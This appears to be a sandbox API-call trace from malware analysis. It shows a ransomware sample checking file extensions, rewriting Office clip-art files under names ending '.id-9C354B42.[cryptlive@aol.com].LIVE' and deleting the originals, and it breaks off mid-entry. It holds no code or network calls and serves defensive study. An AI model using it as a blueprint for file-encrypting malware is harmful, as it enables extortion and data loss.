[0062.573] lstrlenW (lpString=".docx") returned 5 [0062.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.573] lstrlenW (lpString=".pdf") returned 4 [0062.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.573] lstrlenW (lpString=".xls") returned 4 [0062.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.573] lstrlenW (lpString=".xlsx") returned 5 [0062.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.573] lstrlenW (lpString=".ppt") returned 4 [0062.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".zip") returned 4 [0062.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.574] lstrlenW (lpString=".rar") returned 4 [0062.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString=".bz2") returned 4 [0062.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString=".7z") returned 3 [0062.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".dbf") returned 4 [0062.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".1cd") returned 4 [0062.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".jpg") returned 4 [0062.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".doc") returned 4 [0062.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString=".docx") returned 5 [0062.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.574] lstrlenW (lpString=".pdf") returned 4 [0062.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString=".xls") returned 4 [0062.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.574] lstrlenW (lpString=".xlsx") returned 5 [0062.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.574] lstrlenW (lpString=".ppt") returned 4 [0062.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.574] lstrlenW (lpString=".zip") returned 4 [0062.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.575] lstrlenW (lpString=".rar") returned 4 [0062.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.575] lstrlenW (lpString=".bz2") returned 4 [0062.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.575] lstrlenW (lpString=".7z") returned 3 [0062.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.575] lstrlenW (lpString=".dbf") returned 4 [0062.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.575] lstrlenW (lpString=".1cd") returned 4 [0062.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.575] lstrlenW (lpString=".jpg") returned 4 [0062.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.575] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.575] lstrlenW (lpString="AN00853_.WMF") returned 12 [0062.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.575] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20578) returned 1 [0062.575] CloseHandle (hObject=0x1f4) returned 1 [0062.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0062.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.576] GetLastError () returned 0x0 [0062.576] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x5062, lpOverlapped=0x0) returned 1 [0062.580] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0062.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.581] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.581] SetEndOfFile (hFile=0x15c) returned 1 [0062.582] CloseHandle (hObject=0x15c) returned 1 [0062.582] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.582] SetEndOfFile (hFile=0x1f4) returned 1 [0062.583] CloseHandle (hObject=0x1f4) returned 1 [0062.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString=".doc") returned 4 [0062.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString=".docx") returned 5 [0062.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.584] lstrlenW (lpString=".pdf") returned 4 [0062.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString=".xls") returned 4 [0062.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.584] lstrlenW (lpString=".xlsx") returned 5 [0062.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.584] lstrlenW (lpString=".ppt") returned 4 [0062.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString=".zip") returned 4 [0062.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.584] lstrlenW (lpString=".rar") returned 4 [0062.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString=".bz2") returned 4 [0062.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString=".7z") returned 3 [0062.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString=".dbf") returned 4 [0062.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString=".1cd") returned 4 [0062.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.584] lstrlenW (lpString=".jpg") returned 4 [0062.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString=".doc") returned 4 [0062.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString=".docx") returned 5 [0062.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.585] lstrlenW (lpString=".pdf") returned 4 [0062.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString=".xls") returned 4 [0062.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.585] lstrlenW (lpString=".xlsx") returned 5 [0062.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.585] lstrlenW (lpString=".ppt") returned 4 [0062.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString=".zip") returned 4 [0062.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.585] lstrlenW (lpString=".rar") returned 4 [0062.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString=".bz2") returned 4 [0062.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString=".7z") returned 3 [0062.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString=".dbf") returned 4 [0062.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString=".1cd") returned 4 [0062.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0062.585] lstrlenW (lpString=".jpg") returned 4 [0062.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.586] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.586] lstrlenW (lpString="AN00914_.WMF") returned 12 [0062.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.587] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10832) returned 1 [0062.587] CloseHandle (hObject=0x1f4) returned 1 [0062.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0062.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.587] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.587] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.587] GetLastError () returned 0x0 [0062.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a50, lpOverlapped=0x0) returned 1 [0062.589] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0062.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.590] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.590] SetEndOfFile (hFile=0x15c) returned 1 [0062.591] CloseHandle (hObject=0x15c) returned 1 [0062.591] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.591] SetEndOfFile (hFile=0x1f4) returned 1 [0062.592] CloseHandle (hObject=0x1f4) returned 1 [0062.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0062.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.592] lstrlenW (lpString=".doc") returned 4 [0062.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.592] lstrlenW (lpString=".docx") returned 5 [0062.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.592] lstrlenW (lpString=".pdf") returned 4 [0062.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.592] lstrlenW (lpString=".xls") returned 4 [0062.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.593] lstrlenW (lpString=".xlsx") returned 5 [0062.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.593] lstrlenW (lpString=".ppt") returned 4 [0062.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString=".zip") returned 4 [0062.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.593] lstrlenW (lpString=".rar") returned 4 [0062.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString=".bz2") returned 4 [0062.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString=".7z") returned 3 [0062.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString=".dbf") returned 4 [0062.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString=".1cd") returned 4 [0062.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString=".jpg") returned 4 [0062.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.593] lstrlenW (lpString=".doc") returned 4 [0062.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString=".docx") returned 5 [0062.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.593] lstrlenW (lpString=".pdf") returned 4 [0062.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.593] lstrlenW (lpString=".xls") returned 4 [0062.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.593] lstrlenW (lpString=".xlsx") returned 5 [0062.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.594] lstrlenW (lpString=".ppt") returned 4 [0062.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.594] lstrlenW (lpString=".zip") returned 4 [0062.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.594] lstrlenW (lpString=".rar") returned 4 [0062.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.594] lstrlenW (lpString=".bz2") returned 4 [0062.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.594] lstrlenW (lpString=".7z") returned 3 [0062.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.594] lstrlenW (lpString=".dbf") returned 4 [0062.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.594] lstrlenW (lpString=".1cd") returned 4 [0062.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0062.594] lstrlenW (lpString=".jpg") returned 4 [0062.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.594] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.594] lstrlenW (lpString="AN00932_.WMF") returned 12 [0062.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.595] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14428) returned 1 [0062.595] CloseHandle (hObject=0x1f4) returned 1 [0062.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0062.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.595] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.595] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.596] GetLastError () returned 0x0 [0062.596] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x385c, lpOverlapped=0x0) returned 1 [0062.597] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3860, lpOverlapped=0x0) returned 1 [0062.599] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.599] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.599] SetEndOfFile (hFile=0x15c) returned 1 [0062.599] CloseHandle (hObject=0x15c) returned 1 [0062.600] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.600] SetEndOfFile (hFile=0x1f4) returned 1 [0062.600] CloseHandle (hObject=0x1f4) returned 1 [0062.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0062.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.601] lstrlenW (lpString=".doc") returned 4 [0062.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.601] lstrlenW (lpString=".docx") returned 5 [0062.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.601] lstrlenW (lpString=".pdf") returned 4 [0062.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.601] lstrlenW (lpString=".xls") returned 4 [0062.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.601] lstrlenW (lpString=".xlsx") returned 5 [0062.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.601] lstrlenW (lpString=".ppt") returned 4 [0062.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.601] lstrlenW (lpString="C:\\Program Files\\Microsoft 